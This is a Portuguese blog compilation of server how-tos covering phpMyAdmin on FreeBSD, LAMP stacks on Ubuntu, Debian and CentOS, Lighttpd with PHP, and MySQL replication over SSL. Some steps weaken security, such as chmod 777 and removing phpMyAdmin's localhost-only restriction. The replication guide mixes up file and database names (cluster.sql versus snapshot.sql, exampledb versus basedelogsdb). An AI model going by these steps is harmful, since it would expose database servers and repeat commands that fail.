cd /usr/local/www/phpMyAdmin
mkdir config
chmod 777 config

Vamos ativar nossas bagunças??? Devemos reiniciar o apache agora:

/usr/local/etc/rc.d/apache22 restart

Para setar seu phpmyadmin no fino grão você deverá abrir seu navegador com a seguinte sintaxe de endereço:

http://ip_do_FREEBSD/phpmyadmin/scripts/setup.php

Mude o Tipo de Autenticação para HTTP,
Delete o ROOT do User for config para autenticação,
Você pode deixar todo o resto e depois clicar em Add para adicionar o novo servidor.
Clicando em Save você vai salvar a configuração do phpmyadmin.

Vamos validar nosso conf:

cp config/config.inc.php .

Vamos deletar o arquivo desnecessário e dar permissões corretas e seguras ao conf e assim finalizaremos nosso How to:

rm -rf config
chmod 444 config.inc.php

Para acessar suas coisas web use a pasta: /usr/local/www/data/
E se quiser acessar o phpmyadmin use: http://IP_FREEBSD/phpmyadmin/

The end 😛

s

Lamp2: Ubuntu Server APACHE 2 Mysql 5 PHP 5 phpmyadmin

Standard

Um ambiente LAMP2 (apache 2 mysql 5 php 5 e phpmyadmin) é fundamental para quem desenvolve e deseja testar sua app antes de envia-la para web, sem mais, vamos aos passos:

1 – Clique em Aplicativos->Acessórios->Terminal OU CASO ESTEJA USANDO QUALQUER OUTRA VERSÃO SERVER SEM X, CTRL + ALT + F2.
2 – rode o comando:

sudo apt-get install apache2

Este comando serve para instalar o apache 2. Ressalto que usei o gestor de pacotes e habilitei o suporte a pacotes instáveis e também o repositório partner (mais abaixo posto como fazer).

Ainda no console use o comando abaixo:

sudo apt-get install php5 libapache2-mod-php5
Isto servirá para instalar o php5 e ainda integra-lo como DSO no apache (como módulo).

Já que estamos na metade do caminho o ideal seria dar um restart no apache para garantir que ele leu seu conf.
Use o comando:

sudo /etc/init.d/apache2 restart

A saída deverá ser parecida com:

* Restarting web server apache2 apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1 for ServerName
… waiting apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1 for ServerName
[ OK ]

Para garantir que o apache está interpretando códigos php (fazendo uso do interpretador como módulo) podemos editar um arquivo e testa-lo. use o comando abaixo:

sudo vi /var/www/index.php

Dentro deste arquivo informe:

echo 'APPUNIX é um lab de nerds!';
?>

escreva : e depois escreva wq! e pressione enter, ficando algo como :wq! , você salvará o arquivo e sairá do vi.
Feito isto acesse o arquivo para ver se a mensagem APPUNIX é um lab de nerds! aparece, caso sim, sucesso total! Do contrário releia este manual!
Este teste pode ser feito em http://localhost/index.php

Para instalar o mysql como servidor de banco de dados devemos usar o seguinte comando:
sudo apt-get install mysql-server


No meio desse esquema todo serão exibidas janelas que solicitarão a senha de administrador do mysql, semelhantes as imagens abaixo:

senha mysql root

senha mysql root

Outra tela:

senha root mysql 2

senha root mysql 2

Estas telas pedem para que você dê uma senha para o usuário root do mysql, escolha uma senha ao seu gosto e depois repita a mesma.

Agora iremos integrar o php + apache + mysql + phpmyadmin, para isto precisaremos usar o comando:

sudo apt-get install libapache2-mod-auth-mysql php5-mysql phpmyadmin

Neste meio tempo uma tela para escolher entre apache e lighttpd aparecerá, escolha apache. Veja:

escolha apache

escolha apache

Na primeira tela escolha OK e dê um tab para confirmar que aceita a opção.

phpmyadm

phpmyadm

A próxima tela pedirá uma senha de admin para o phpmyadmin, para isto defina algo seu. Veja a tela:

pass phpmyadm

pass phpmyadm

Costumo, após terminar uma instalação de integração como esta utilizar-me de lago, insira as seguintes linhas naquela página index.php usando sudo vim /var/www/index.php
Informe dentro dela o seguinte:

mysql_connect(‘localhost’, ‘root’, ‘suaSENHA’) or die(mysql_error());
?>

Acesse http://localhost/index.php

Se nada ocorrer tudo está 100%.

Quando terminar use o comando:
sudo /etc/init.d/apache2 restart

Isto vai fazer o apache reler todos os confs.

Para concluir precisamos levar o phpmyadmin para a pasta web afim de que possamos editar nossos bds. Para isto precisamos copiar o phpmyadmin para dentro do /var/www usando o comando:

cp -rp /usr/share/phpmyadmin /var/www

Sendo assim, para acessar somente precisamos de um http://localhost/phpmyadmin

Replicação de dados no Mysql sob SSL no Debian Squeeze

Standard

Esse how to tem 2 pontos chave:

1 – inibir o man in the middle

2 – replicar dados entre bases de dados para que, em uma eventual falha de hardware possamos estar beeeeem providos :).

 

Considerações iniciais:

master.appunixlabs.com.br -> 10.0.0.1

slave.appunixlabs.com.br -> 10.0.0.2

 

Nos 2 servers, como root devemos rodar o seguinte comando:

apt-get install mysql-server mysql-client -y

Assim que rodarmos o comando acima será solicitada confirmação de senha do root do banco de dados:

New password for the MySQL “root” user: <—– Devemos colocar a senha de root
Repeat password for the MySQL “root” user: <– Devemos repetir a senha de root

 

O que iremos fazer agora é verificar os recursos de ssl do server mysql, veja que devemos logar antes como root do banco de dados mysql:

mysql -u root -p

No mysql console devemos exibir as variáveis de SSL:

mysql> show variables like ‘%ssl%’;
Saída que mais interessa -> have_openssl e have_ssl:

+—————+———-+
| Variable_name | Value    |
+—————+———-+
| have_openssl  | DISABLED |
| have_ssl      | DISABLED |
| ssl_ca        |          |
| ssl_capath    |          |
| ssl_cert      |          |
| ssl_cipher    |          |
| ssl_key       |          |
+—————+———-+
7 rows in set (0.00 sec)

mysql>

Vamos sair do mysql:

quit;

 

Precisamos editar os confs do mysql para dar suporte ao SSL:

vim /etc/mysql/my.cnf

Na sessão * Security Features devemos acrescentar SSL, pode ser usado da seguinte forma:

 

# * Security Features
# For generating SSL certificates I recommend the OpenSSL GUI "tinyca".
ssl
# ssl-ca=/etc/mysql/cacert.pem

Devemos validar nossa alteração, para isto vamos reiniciar o mysql com o seguinte comando:


/etc/init.d/mysql restart

Para confirmarmos o suporte o SSL em ambos os servers (presumindo que você está seguindo até aqui o passo-a-passo nos 2 servidores) devemos logar no mysql como root e verificar as variáveis de ssl:

mysql -u root -p

Logando-se como root devemos usar:

mysql> show variables like ‘%ssl%’;

A saída deste comando deve assemelhar-se com:

+—————+——-+
| Variable_name | Value |
+—————+——-+
| have_openssl  | YES   |
| have_ssl      | YES   |
| ssl_ca        |       |
| ssl_capath    |       |
| ssl_cert      |       |
| ssl_cipher    |       |
| ssl_key       |       |
+—————+——-+
7 rows in set (0.00 sec)

mysql>

Pule fora do mysql:

mysql> quit;

No servidor MASTER devemos colocar o suporte a acesso remoto ao mysql, do contrário não teremos a replicação de dados em tempo real em hipótese alguma :P, para isto devemos fazer o seguinte, no conf do mysql temos de editar a parte de bind-address:

vim /etc/mysql/my.cnf

# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
#bind-address           = 127.0.0.1

somente comentando bind-address estamos evitando que o acesso remoto só ocorra por lookup.

Ainda no server master temos de validar nossa alteração:

/etc/init.d/mysql restart

Vamos ver os sockets abertos do mysql na porta com suporte a SSL:

netstat -tap | grep mysql

A saída deve assemelhar-se com:

tcp        0      0 *:mysql                 *:*                     LISTEN      2792/mysqld

Devemos criar agora os certificados para dar suporte a camada segura, tanto no main server como no slave, para isso iremos rodar o seguinte comando:

mkdir /etc/mysql/newcerts && cd /etc/mysql/newcerts

Em paralelo iremos instalar também o openssl:

apt-get install openssl

Vamos criar os certificados agora com chave beeeeeeeem gorda para CA:

openssl genrsa 2048 > ca-key.pem
openssl req -new -x509 -nodes -days 1000 -key ca-key.pem > ca-cert.pem

Vamos criar os certificados do servidor master:

openssl req -newkey rsa:2048 -days 1000 -nodes -keyout master-key.pem > master-req.pem
openssl x509 -req -in master-req.pem -days 1000 -CA ca-cert.pem -CAkey ca-key.pem -set_serial 01 > master-cert.pem

Agora vamos criar o ceritificado do server slave:

openssl req -newkey rsa:2048 -days 1000 -nodes -keyout slave-key.pem > slave-req.pem
openssl x509 -req -in slave-req.pem -days 1000 -CA ca-cert.pem -CAkey ca-key.pem -set_serial 01 > slave-cert.pem

Agora que criamos os certificados no servidor Master, deveremos enviar os certificados para o servidor SLAVE, os quais lhe pertencem -> ca-cert.pem, slave-cert.pem e slave-key.pem.

No servidor Slave, como root criaremos a pasta dos certificados:

mkdir /etc/mysql/newcerts

Agora no Servidor Master devemos enviar os certificados para pasta de certificados do servidor Slave:

scp /etc/mysql/newcerts/ca-cert.pem root@10.0.0.2:/etc/mysql/newcerts

scp /etc/mysql/newcerts/slave-cert.pem root@10.0.0.2:/etc/mysql/newcerts

scp /etc/mysql/newcerts/slave-key.pem root@10.0.0.2:/etc/mysql/newcerts

 

No servidor MASTER temos de ativar o suporte aos certificados recém criados, para isto iremos editar novamente o conf do mysql na sessão de Segurança (aonde colocamos a linha SSL):

vim /etc/mysql/my.cnf

Seu conf deverá ficar parecido com este:

# * Security Features
#
# Read the manual, too, if you want chroot!
# chroot = /var/lib/mysql/
#
# For generating SSL certificates I recommend the OpenSSL GUI "tinyca".
ssl
ssl-ca=/etc/mysql/newcerts/ca-cert.pem
ssl-cert=/etc/mysql/newcerts/master-cert.pem
ssl-key=/etc/mysql/newcerts/master-key.pem

Agora iremos reiniciar o mysql para validar os certificados:

/etc/init.d/mysql restart

Agora, ainda no Master Server temos de dar permissão de replicação ao server Slave dentro do Mysql:

mysql -u root -p

No console do mysql rode:

mysql>GRANT REPLICATION SLAVE ON *.* TO ‘LOGINdoSLAVEserver’@’%’ IDENTIFIED BY ‘Senha_Slave’ REQUIRE SSL;

Para forçar um usuário que você criou para conectar-se somente por SSL, neste caso LOGINdoSLAVEserver devemos fazer o seguinte:

mysql>GRANT USAGE ON *.* TO ‘LOGINdoSLAVEserver‘@’%’ REQUIRE SSL;

mysql> FLUSH PRIVILEGES;

mysql> quit;

Os dois comandos acima dizem: Atualize os privilégios (no caso logins e senhas, ou mudanças de permissões de banco de dados para usuários) e saia fora ;).

Agora precisamos setar a base de dados de logs e dizer quem é o master. Faremos isto assim:

vim /etc/mysql/my.cnf

# The following can be used as easy to replay backup logs or for replication.
# note: if you are setting up a replication slave, see README.Debian about
#       other settings you may need to change.
server-id               = 1
log_bin                 = /var/log/mysql/mysql-bin.log
expire_logs_days        = 10
max_binlog_size         = 100M
binlog_do_db            = basedelogsdb

Chamamos nossa base de dados de logs que iremos compartilhar de basedelogsdb e para validar a mudança do servidor Master temos de reiniciar o mysql:

/etc/init.d/mysql restart

Teremos agora de fazer um dump da base de dados de logs para deixar o slave correndo no mesmo embalo do master, para isto faremos o seguinte:

mysql -u root -p

Depois de logar-se no Mysql:

mysql>USE exampledb;
mysql>FLUSH TABLES WITH READ LOCK;
mysql>SHOW MASTER STATUS;

O último comando deve exibir:

+——————+———-+————–+——————+
| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+——————+———-+————–+——————+
| mysql-bin.000001 |      106 | exampledb    |                  |
+——————+———-+————–+——————+
1 row in set (0.00 sec)

mysql>
Neste ponto não devemos dar quit, é muito importante isto, pois, no server Master ainda, iremos abrir outro terminal (se estiver direto no shell use CTRL + ALT + F2), abrindo uma nova shell logue-se como root e vamos continuar nosso how to. Como root rode os comandos:

cd /tmp

mysqldump -u root -p aSENHAdoMysql –opt basedelogsdb > cluster.sql

scp snapshot.sql root@10.0.0.2:/tmp

Nos passos acima entramos na pasta temporária, como root do banco de dados geramos um dump da base de dados de logs do main server e enviamos para o /tmp do servidor SLAVE.

Agora você pode sair da segunda tela, voltar para a primeira (CTRL + ALT+ F1, caso esteja 100% na shell) e rodar:

mysql> UNLOCK TABLES;

mysql> quit;

 

No servidor SLAVE iremos editar o conf do mysql na sessão [mysqld] e inserir as strings:

vim /etc/mysql/my.cnf

server-id=2
master-connect-retry=60
replicate-do-db=basedelogsdb

Este ID que estamos vendo JAMAIS poderá ser igual em servers que estão replicando dados.

Para validar nossas mudanças rode:

/etc/init.d/mysql restart

Agora iremos criar a base de dados de logs dentro do servidor SLAVE:

mysql -u root -p

mysql> CREATE DATABASE exampledb;
mysql> quit;

Ainda no servidor SLAVE iremos restaurar o dump chamado cluster.sql:

/usr/bin/mysqladmin –user=root –password=SenhaROOTmysql stop-slave
cd /tmp
mysql -u root -p SenhaROOTmysql basedelogsdb < cluster.sql

Agora iremos logar-nos como root no SLAVE server para poder ativar as variáveis de Show Master exibidas no main server, ou seja, o que foi exibido lá deverá ser ativado aqui, por isso tome muito cuidado:

mysql -u root -p

mysql> CHANGE MASTER TO MASTER_HOST=’10.0.0.1′, MASTER_USER=’LOGINdoSLAVEserver‘, MASTER_PASSWORD=’Senha_Slave‘, MASTER_LOG_FILE=’mysql-bin.000001’, MASTER_LOG_POS=106, MASTER_SSL=1, MASTER_SSL_CA = ‘/etc/mysql/newcerts/ca-cert.pem’, MASTER_SSL_CERT = ‘/etc/mysql/newcerts/slave-cert.pem’, MASTER_SSL_KEY = ‘/etc/mysql/newcerts/slave-key.pem’;

mysql> START SLAVE;

Para confirmarmos se tudo ficou filé:

mysql> SHOW SLAVE STATUS G
*************************** 1. row ***************************
Slave_IO_State: Waiting for master to send event
Master_Host: 10.0.0.1
Master_User: LOGINdoSLAVEserver
Master_Port: 3306
Connect_Retry: 60
Master_Log_File: mysql-bin.000001
Read_Master_Log_Pos: 106
Relay_Log_File: mysqld-relay-bin.000002
Relay_Log_Pos: 251
Relay_Master_Log_File: mysql-bin.000001
Slave_IO_Running: Yes
Slave_SQL_Running: Yes
Replicate_Do_DB: basedelogsdb
Replicate_Ignore_DB:
Replicate_Do_Table:
Replicate_Ignore_Table:
Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
Last_Errno: 0
Last_Error:
Skip_Counter: 0
Exec_Master_Log_Pos: 106
Relay_Log_Space: 407
Until_Condition: None
Until_Log_File:
Until_Log_Pos: 0
Master_SSL_Allowed: Yes
Master_SSL_CA_File: /etc/mysql/newcerts/ca-cert.pem
Master_SSL_CA_Path:
Master_SSL_Cert: /etc/mysql/newcerts/slave-cert.pem
Master_SSL_Cipher:
Master_SSL_Key: /etc/mysql/newcerts/slave-key.pem
Seconds_Behind_Master: 0
Master_SSL_Verify_Server_Cert: No
Last_IO_Errno: 0
Last_IO_Error:
Last_SQL_Errno: 0
Last_SQL_Error:
1 row in set (0.00 sec)

mysql>

 

Com isto todas as mudanças que ocorrerem em basedelogsdb no master server estarão replicadas no Slave Server.

 

Abraços a todos e bons estudos.
Equipe AppUnix.

Fontes:

Centos 5.6 Apache 2 php 5 Mysql 5 em passos simples :P

Standard

O caboclo que disser que o CentOs não é um ambiente bombado para Apache 2, Mysql 5, PHP 5 e PHPMYADMIN  é um belo mentiroso!

Estamos abaixo fazendo um How to em poucos passos usando o Yum afim de deixar muito rapidamente seu lamp2 rodando filé.

Faça todos os passos como root, please.

Primeiro vamos instalar o mysql 5:

yum install mysql mysql-server -y

O comando acima instala o mysql client e server.

Vamos  dar permissão para que o mysql execute o serviço no boot e em seguida iniciar o bichão:

chkconfig –levels 235 mysqld on

/etc/init.d/mysqld start

Agora vamos corrigir as tranqueiras de senhas:

mysql_secure_installation

A saída desse comando será semelhante a de baixo (sem contar que você terá de interagir com algumas requisições):

NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MySQL
SERVERS IN PRODUCTION USE!  PLEASE READ EACH STEP CAREFULLY!

In order to log into MySQL to secure it, we’ll need the current
password for the root user.  If you’ve just installed MySQL, and
you haven’t set the root password yet, the password will be blank,
so you should just press enter here.

Enter current password for root (enter for none):
OK, successfully used password, moving on…

Setting the root password ensures that nobody can log into the MySQL
root user without the proper authorisation.

Set root password? [Y/n] <– APERTE ENTER
New password: <– DIGITE A SENHA DE ROOT DO MYSQL
Re-enter new password: <– REPITA A SENHA DE ROOT DO MYSQL
Password updated successfully!
Reloading privilege tables..
… Success!

By default, a MySQL installation has an anonymous user, allowing anyone
to log into MySQL without having to have a user account created for
them.  This is intended only for testing, and to make the installation
go a bit smoother.  You should remove them before moving into a
production environment.

Remove anonymous users? [Y/n] <– ENTER PARA CONFIRMAR
… Success!

Normally, root should only be allowed to connect from ‘localhost’.  This
ensures that someone cannot guess at the root password from the network.

Disallow root login remotely? [Y/n] <– ENTER PARA CONFIRMAR
… Success!

By default, MySQL comes with a database named ‘test’ that anyone can
access.  This is also intended only for testing, and should be removed
before moving into a production environment.

Remove test database and access to it? [Y/n] <– ENTER PARA CONFIRMAR
– Dropping test database…
… Success!
– Removing privileges on test database…
… Success!

Reloading the privilege tables will ensure that all changes made so far
will take effect immediately.

Reload privilege tables now? [Y/n] <– ENTER PARA CONFIRMAR
… Success!

Cleaning up…

All done!  If you’ve completed all of the above steps, your MySQL
installation should now be secure.

Thanks for using MySQL!

 

—-

 

Agora que nosso mysql está mais seguro que o default e instalado temos de instalar oo apache 2:

yum install httpd -y

Teremos de atribuir as permissões para que o Apache 2 inicie juntamente com o server:

chkconfig –levels 235 httpd on

Vamos iniciar o bichão:

/etc/init.d/httpd start

Presumindo que você setou um ip ou que no ifconfig seu ip seja 10.0.0.1, se quiser conferir que ficou filé o apache acesse assim (no navegador):

http://10.0.0.1

Normalmente Rhel-Based atribuem o root site aqui: /var/www/html

Chega de demoras e vamos meter bala no PHP:

yum install php

Vamos garantir que os novos confs vão rodar?

/etc/init.d/httpd restart

Como testar se o apache está interpretando php:

vim /var/www/html/testes.php

Dentro do arquivo coloque:

<?php phpinfo(); ?>

Em seguida abra o navegador e tente acessar assim: http://10.0.0.1/testes.php

Vamos integrar mais coisas ao php assim como o mysql sendo suportado pelo mesmo?

yum install php-mysql php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc -y

 

E o phpmyadmin? Rola ou não rola?

Se o seu S.O. for 64 bits rode assim:

wget http://packages.sw.be/rpmforge-release/rpmforge-release-0.5.2-2.el5.rf.x86_64.rpm
rpm -Uhv rpmforge-release-0.5.2-2.el5.rf.x86_64.rpm

Se o seu S.O. for 32 bits rode assim:

wget http://packages.sw.be/rpmforge-release/rpmforge-release-0.5.2-2.el5.rf.i386.rpm
rpm -Uhv rpmforge-release-0.5.2-2.el5.rf.i386.rpm

Depois disso meta bala na instalação do phpmyadmin:

yum install phpmyadmin -y

Depois vamos deixar as coisas no devido lugar. Teremos de fazer um alias para que o phpmyadmin rode corretamente:

vim /etc/httpd/conf.d/phpmyadmin.conf

#
#  Web application to manage MySQL
#

#<Directory "/usr/share/phpmyadmin">
#  Order Deny,Allow
#  Deny from all
#  Allow from 127.0.0.1
#</Directory>

Alias /phpmyadmin /usr/share/phpmyadmin
Alias /phpMyAdmin /usr/share/phpmyadmin
Alias /mysqladmin /usr/share/phpmyadmin

 

Vamos editar o modo de autenticação do phpmyadmin de cookie para http:

vim /usr/share/phpmyadmin/config.inc.php

[...conteúdo anterior]
/* Authentication type */
$cfg['Servers'][$i]['auth_type'] = 'http';
[...conteúdo posterior]

 

Depois disso temos que reiniciar o apache para garantir que o phpmyadmin rode filé:

/etc/init.d/httpd restart

 

Vamos nos certificar do crime???

http://10.0.0.1/phpmyadmin

Se rodar sem problemas, parabéns, você seguiu fielmente este how to.

 

 

Nossas fontes:

 

Lighttpd php5 mysql no Ubuntu 11.04

Standard

Lighttpd é verdadeiramente uma bala no que tange a containers web. Muitas pessoas gostam dele (segundo a mídia até o Youtube já amou esse negócio), por isso estaremos indo direto ao assunto, vamos instalar essa bala no Ubuntu 11.04?

Temos que ter poder de root para fazer o negócio rodar (use sudo su ou su -, sendo su – melhor pois dá autoridade global):

apt-get update &&

apt-get install mysql-server mysql-client -y

Fazendo isto estaremos instalando o mysql server e seu client (inclusive no pacote vem a ferramenta replace, muito boa para substituir termos em um arquivo [depois falamos de utilitários em outro artigo]).

No momento seguinte o sistema vai pedir que você defina a senha de root:

New password for the MySQL … : Informe a senha de root
Repeat password for the MySQL …: Confirme novamente a senha

Vamos instalar o Lighttpd agora!

apt-get install lighttpd -y

Presumindo que você possui um ip setado a este pc (qualquer ip, se for por dhcp use ifconfig e veja o ip da sua eth0 ou ethX [sendo X ponto variável, podendo ser 1 para interface real secundária e assim por diante]) 10.0.0.1, abra o navegador e digite 10.0.0.1, deverá ser exibido um arquivo pedindo substituição de conteúdo, aonde o document root (pasta principal da web) fica em /var/www e o arquivo de configuração /etc/lighttpd/lighttpd.conf. As configurações extras ficam em /etc/lighttpd/conf-available . Se futuramente ativamos módulos extras podemos usar lighttpd-enable-mod para ativa-los. Os links simbólicos de comandos ficam em /etc/lighttpd/conf-enabled, mas o filé mesmo para edições e customizações é /etc/lighttpd/conf-available.

Hora de meter o php5 em modo fastcgi!

Vamos lá:

apt-get install php5-cgi

 

Para que tudo fique validado precisamos arrumar o esquema. Vamos editar o conf:

vim /etc/php5/cgi/php.ini

Devemos procurar pela linha:

cgi.fix_pathinfo

e mudar seu conteúdo para:

cgi.fix_pathinfo=1

Agora vamos ativar o módulo do php (claro que instalamos o mesmo para ser instância separada,  mas é um módulo):

lighttpd-enable-mod fastcgi

lighttpd-enable-mod fastcgi-php

Vamos conferir os links simbólicos paragarantir que tudo está ok entre os arquivos /etc/lighttpd/conf-enabled/10-fastcgi.conf , /etc/lighttpd/conf-available/10-fastcgi.conf,/etc/lighttpd/conf-enabled/15-fastcgi-php.conf e /etc/lighttpd/conf-available/15-fastcgi-php.conf :

ls -l /etc/lighttpd/conf-enabled

root@developer:~# ls -l /etc/lighttpd/conf-enabled
total 0
lrwxrwxrwx 1 root root 77 2011-05-25 7:46 10-fastcgi.conf -> ../conf-available/10-fastcgi.conf
lrwxrwxrwx 1 root root 78 2011-05-25 7:46 15-fastcgi-php.conf -> ../conf-available/15-fastcgi-php.conf
root@developer:~#

Vamos dar aquele reload sarado:

/etc/init.d/lighttpd force-reload

Vamos testar nosso sistema de containers?

vim /var/www/testes.php

Dentro dele colocarmos assim:

<?php

phpinfo();

?>

A abriremos o browser para ver se aparece a info do php com esse endereço: http://10.0.0.1/testes.php

Vamos dar suporte ao php para que o bichão possa usar o mysql sem stress?

apt-get install php5-mysql php5-curl php5-gd php5-idn php-pear php5-imagick php5-imap php5-mcrypt php5-memcache php5-ming php5-ps php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl

Para validar todo o bando de mudanças façamos assim:

/etc/init.d/lighttpd restart

E para reconferir http://10.0.0.1/testes.php em seu navegador.

Thanks Guys!

😉

 

Nossas fontes:

 

Como instalar o apache 2 mysql 5 php 5 e phpmyadmin no Debian 5.0.6

Standard

PessoALL, estamos fazendo outro How to da série Lamp2. O ambiente apache (container web ou servidor de páginas mais utilizado da internet), php 5 (linguagem de programação mais utilizada da internet), mysql 5 (banco de dados mais usado na internet) e phpmyadmin (gestor de bases de dados mysql mais amigável em termos de front-end) é indispensável para desenvolvedores php. Abaixo, em passos e imagens simples você saberá como instalar e deixar 100% operacional a famosa arquitetura LAMP2.

Primeiro passo é ter poder de root (no caso de nossa instalação). Iremos abrir o console como root afim de evitar que utilizemos o comando sudo antes dos comandos gerais de instalação do lamp2. Na realidade NADA impede que você possa instalar o lamp2 com comandos em um terminal comum, a única coisa que ressaltamos é que tome cuidado sempre com a precedência do comando sudo na frente de nossos comandos abaixo citados, ou logar-se como root com su –  para atrair um ambiente root globalmente. No mais tudo será muito semelhante.

O Hardware testado é simples, celeron i386 (debian 32 bits em cima de um celeron), 512 de ram e disco de 10gb.
A versão usada é o Debian 5.0.6.

1 – Clique em Aplicações -> Acessórios -> Terminal Como Root. A imagem abaixo demonstra claramente como este passo-a-passo é feito:

terminal root

terminal root

Antes de mais nada certifique-se que tudo está ok com o apt-get, por isso use:

apt-get update

A saída é muito parecida com a imagem abaixo:

Apt get

Certificar o Apt

Assim que o terminal estiver operando (aberto) vamos instalar o apache2 com o seguinte comando:

apt-get install apache2

Assim que este comando for digitado, a saída exige que se Aperte S para confirmar ou N para cancelar a instalação. A imagem é muito parecida com a saída abaixo:

confirmar apache2

confirmar apache2

A saída após confirmar com S é muito parecida com:

saida apache2

saida apache2

Neste ponto o apache 2 está online.
Agora vamos instalar o php5 no apache 2 como DSO (php como módulo do apache2).
Para isto digite o comando:

apt-get install php5 libapache2-mod-php5

A saída para este comando é muito parecida com a imagem abaixo:

apache php mod

apache php mod

Pronto, para confirmar que o php 5 está sendo interpretado no apache2, primeiro é necessário digitar o comando abaixo afim de que o apache 2 possa reler suas configurações de maneira simples e rápida:

/etc/init.d/apache2 restart

Esse comando reinicia o apache2. Feito isto, podemos remover o index.html e criar um arquivo php. Para isto faça:

rm -rf /var/www/index.html

Este comando remove o arquivo index.html default do apache2. Abaixo vamos criar um arquivo index.php:

vim /var/www/index.php

Dentro do arquivo coloque o conteúdo da imagem abaixo:

index php

index php

A saída disto pode ser testada em um navegador através do endereço:

http://localhost/index.php

A saída deste acesso deve ser indêntica a imagem abaixo:

localhost

localhost

Agora precisams instalar o mysql 5 em nosso Debian, para isto use o seguinte comando:

apt-get install mysql-server

Será necessário confirmar, conforme a imagem abaixo:

instalar MYSQL

instalar MYSQL

Confirme com S, assim que ocorrer o processo de instalação do mysql server a saída será muito parecida com a imagem abaixo:

confirmar senha MYSQL

confirmar senha MYSQL

Esse trecho o mysql vai pedir a senha de root que será a senha padrão do administrador do mysql 5. Confirme com qualquer senha definida ao seu critério, em seguida uma nova tela será exibida pedindo confirmação de senha novamente, conforme a tela abaixo:

Repetir Senha MYSQL

Repetir Senha MYSQL

As mensagens exibidas na instalação do mysql após confirmado devem ser muito parecidas com as da tela abaixo:

Resultado Mysql

Resultado Mysql

Agora iremos para o passo final, a integração entre o apache, php, mysql e phpmyadmin. Para isto precisamos instalar a integração com o seguinte comando:

apt-get install libapache2-mod-auth-mysql php5-mysql phpmyadmin

Assim que o comando é digitado, conforme citamos acima, você precisa apertar S para que seja confirmada a instalação da integração de o phpmyadmin. A saída do comando acima é muito parecida com a imagem a seguir:

lamp Integracao

Confirmando com S a instalação prosseguirá, porém o phpmyadmin solicitará o container o qual ele vai operar. Devemos escolher o Apache2 conforme nosso padrão de instalação. Printamos a tela com esta informação:

Marque Apache

Marque Apache

Após marcação, a saída final segue-se abaixo:

Saida Integracao

Saida Integracao

Pronto, agora só precisamos reiniciar o apache2 para que toda integração ocorra fielmente, precisamos copiar a pasta do phpmyadmin para o /var/www afim de acessarmos com c o front-end do phpmyadmin.
Para isto digite os comandos:

/etc/init.d/apache2 restart

cp -rp /usr/share/phpmyadmin /var/www

O segundo comando faz a cópia citada.

Para testarmos TUDO basta abrirmos o navegador e inserirmos o endereço http://localhost/phpmyadmin, se a saída for idêntica a da imagem abaixo, parabéns, sua missão acaba agora!

Teste php myadmin FINAL

Teste php myadmin FINAL

Se quiser acessar o phpmyadmin basta colocar root como usuário e informar a senha de root definida no momento da instalação do mysql.

Agradecemos pelo seu empenho junto conosco neste how to 😛

Att: littleoak